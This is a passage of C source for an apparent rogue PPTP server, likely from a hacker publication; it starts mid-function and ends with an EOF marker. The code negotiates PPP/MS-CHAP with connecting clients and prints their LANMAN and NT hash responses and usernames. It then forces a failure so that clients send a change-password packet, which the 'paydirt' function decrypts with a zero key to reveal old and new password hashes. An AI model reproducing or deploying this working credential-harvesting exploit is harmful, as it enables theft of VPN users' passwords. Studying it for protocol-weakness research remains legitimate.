p.call_id_peer = r->call_id; p.result_code = 1; p.speed = hton32(28800); p.recv_size = hton16(5); /* whatever */ p.delay = hton16(50); /* whatever */ p.channel = hton32(31337); len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); } } struct sockaddr_in src_addr; void do_gre(struct sockaddr_in *sa) { #ifndef BROKEN_RAW_CONNECT struct sockaddr_in src_addr; #endif int s, n, stat; /* Open IP protocol socket */ rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO); if (rsd<0) { perror("gre"); exit(1); } src_addr.sin_family = AF_INET; src_addr.sin_addr = sa->sin_addr; src_addr.sin_port = 0; #ifndef BROKEN_RAW_CONNECT if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) { perror("gre"); exit(1); } #endif ack_sent = ack_recv = seq_sent = seq_recv = 0; stat=0; /* Dispatch loop */ while (stat>=0) { /* until error happens on s */ struct timeval tv = {0, 0}; /* non-blocking select */ fd_set rfds; int retval; n = rsd + 1; FD_ZERO(&rfds); FD_SET(rsd, &rfds); /* if there is a pending ACK, do non-blocking select */ if (ack_sent!=seq_recv) retval = select(n, &rfds, NULL, NULL, &tv); else /* otherwise, block until data is available */ retval = select(n, &rfds, NULL, NULL, NULL); if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */ encaps_gre(NULL, 0); /* send ack with no payload */ if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */ stat=decaps_gre(do_ppp); } /* Close up when done. */ close(rsd); } int decaps_gre (int (*cb)(void *pack, unsigned len)) { unsigned char buffer[PACKET_MAX+64/*ip header*/]; struct pptp_gre_header *header; int status, ip_len=0; if((status=read(rsd, buffer, sizeof(buffer)))<0) {perror("gre"); exit(1); } /* strip off IP header, if present */ if ((buffer[0]&0xF0)==0x40) ip_len = (buffer[0]&0xF)*4; header = (struct pptp_gre_header *)(buffer+ip_len); /* verify packet (else discard) */ if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */ (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */ PPTP_GRE_IS_C(ntoh8(header->flags)) || /* flag C should be clear */ PPTP_GRE_IS_R(ntoh8(header->flags)) || /* flag R should be clear */ (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */ ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */ /* if invalid, discard this packet */ printf("Discarding GRE: %X %X %X %X %X %X", ntoh8(header->ver)&0x7F, ntoh16(header->protocol), PPTP_GRE_IS_C(ntoh8(header->flags)), PPTP_GRE_IS_R(ntoh8(header->flags)), PPTP_GRE_IS_K(ntoh8(header->flags)), ntoh8(header->flags)&0xF); return 0; } if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */ u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))? header->ack:header->seq; /* ack in different place if S=0 */ if (ack > ack_recv) ack_recv = ack; /* also handle sequence number wrap-around (we're cool!) */ if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack; } if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */ unsigned headersize = sizeof(*header); unsigned payload_len= ntoh16(header->payload_len); u_int32_t seq = ntoh32(header->seq); if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack); /* check for incomplete packet (length smaller than expected) */ if (status-headersize seq_recv) || (((seq>>31)==0) && (seq_recv>>31)==1)) { seq_recv = seq; return cb(buffer+ip_len+headersize, payload_len); } else { printf("discarding out-of-order\n"); return 0; /* discard out-of-order packets */ } } return 0; /* ack, but no payload */ } int encaps_gre (void *pack, unsigned len) { union { struct pptp_gre_header header; unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)]; } u; static u_int32_t seq=0; unsigned header_len; int out; /* package this up in a GRE shell. */ u.header.flags = hton8 (PPTP_GRE_FLAG_K); u.header.ver = hton8 (PPTP_GRE_VER); u.header.protocol = hton16(PPTP_GRE_PROTO); u.header.payload_len = hton16(len); u.header.call_id = hton16(pptp_gre_call_id); /* special case ACK with no payload */ if (pack==NULL) if (ack_sent != seq_recv) { u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.payload_len = hton16(0); u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */ ack_sent = seq_recv; #ifndef BROKEN_RAW_CONNCET return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq)); #else return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0, (struct sockaddr *) &src_addr, sizeof(src_addr)); #endif } else return 0; /* we don't need to send ACK */ /* send packet with payload */ u.header.flags |= hton8(PPTP_GRE_FLAG_S); u.header.seq = hton32(seq); if (ack_sent != seq_recv) { /* send ack with this message */ u.header.ver |= hton8(PPTP_GRE_FLAG_A); u.header.ack = hton32(seq_recv); ack_sent = seq_recv; header_len = sizeof(u.header); } else { /* don't send ack */ header_len = sizeof(u.header) - sizeof(u.header.ack); } if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */ /* copy payload into buffer */ memcpy(u.buffer+header_len, pack, len); /* record and increment sequence numbers */ seq_sent = seq; seq++; /* write this baby out to the net */ #ifndef BROKEN_RAW_CONNECT return write(rsd, u.buffer, header_len+len); #else return sendto(rsd, &u.buffer, header_len+len, 0, (struct sockaddr *) &src_addr, sizeof(src_addr)); #endif } int do_ppp(void *pack, unsigned len) { struct { struct ppp_header ppp; struct ppp_lcp_chap_header header; } *p; p = pack; switch(ntoh16(p->ppp.proto)) { case PPP_PROTO_LCP: switch(ntoh8(p->header.code)) { case PPP_LCP_CODE_CONF_RQST: printf("<- LCP Configure Request\n"); send_lcp_conf_rply(pack); send_lcp_conf_rqst(); break; case PPP_LCP_CODE_CONF_ACK: printf("<- LCP Configure Ack\n"); send_chap_challenge(pack); break; case PPP_LCP_CODE_IDENT: /* ignore */ break; default: printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code, p->header.ident, ntoh16(p->header.length)); } break; case PPP_PROTO_CHAP: switch(ntoh8(p->header.code)) { case PPP_CHAP_CODE_RESPONCE: printf("<- CHAP Responce\n"); print_challenge_responce(pack); send_chap_failure(); break; case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1: paydirt(pack); break; default: printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code, p->header.ident, ntoh16(p->header.length)); } break; default: printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto)); } return(1); } void send_lcp_conf_rply(void *pack) { struct { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; } *p = pack; printf("-> LCP Configure Ack\n"); p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK); encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header)); } void send_lcp_conf_rqst() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; struct ppp_lcp_chap_auth_option auth; } pkt; printf("-> LCP Configure Request\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_LCP); pkt.lcp.code = hton8(PPP_LCP_CODE_CONF_RQST); pkt.lcp.ident = hton8(9); pkt.lcp.length = hton16(4 +5); pkt.auth.type = hton8(PPP_LCP_CONFIG_OPT_AUTH); pkt.auth.length = hton8(5); pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP); pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP); encaps_gre(&pkt, 13); } void send_chap_challenge() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_chap_challenge challenge; } pkt; printf("-> CHAP Challenge\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_CHAP); pkt.chap.code = hton8(PPP_CHAP_CODE_CHALLENGE); pkt.chap.length = hton16(13); pkt.challenge.size = hton8(8); encaps_gre(&pkt, 4 + 13); } void print_challenge_responce(void *pack) { unsigned char name[512], *c; int len; struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_chap_challenge responce; } *p; p = pack; c = p->responce.value.responce.lanman; printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); c = p->responce.value.responce.nt; printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10], c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21], c[22], c[23]); printf(" Use NT hash: %d\n", p->responce.value.responce.flag); bzero(name, 512); len = ntoh16(p->chap.length) - 54; bcopy(((char *)p) + 4 + 54, name, len); name[len] = '\0'; printf(" User: %s\n", name); } void send_chap_failure() { struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; char message[64]; } pkt; printf("-> CHAP Failure\n"); bzero(&pkt, sizeof(pkt)); pkt.ppp.address = hton8(PPP_ADDRESS); pkt.ppp.control = hton8(PPP_CONTROL); pkt.ppp.proto = hton16(PPP_PROTO_CHAP); pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE); pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR)); strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR)); encaps_gre(&pkt, 4 + 4 + strlen(MSCHAP_ERROR)); } extern int des_check_key; void paydirt(void *pack) { unsigned char out[8], out2[8], key[8]; struct { struct ppp_header ppp; struct ppp_lcp_chap_header chap; struct ppp_mschap_change_password passwds; } *pkt; des_key_schedule ks; pkt = pack; bzero(key, 8); printf("<- MSCHAP Change Password Version 1 Packet.\n"); /* Turn off checking for weak keys within libdes */ des_check_key=0; des_set_odd_parity((des_cblock *)key); des_set_key((des_cblock *)key, ks); des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0); printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0); printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0); printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0); des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0); printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n", out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7], out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]); printf(" New Password Length: %d\n", ntoh16(pkt->passwds.pass_length)); kill(pid, SIGTERM); exit(0); } <--> ----[ EOF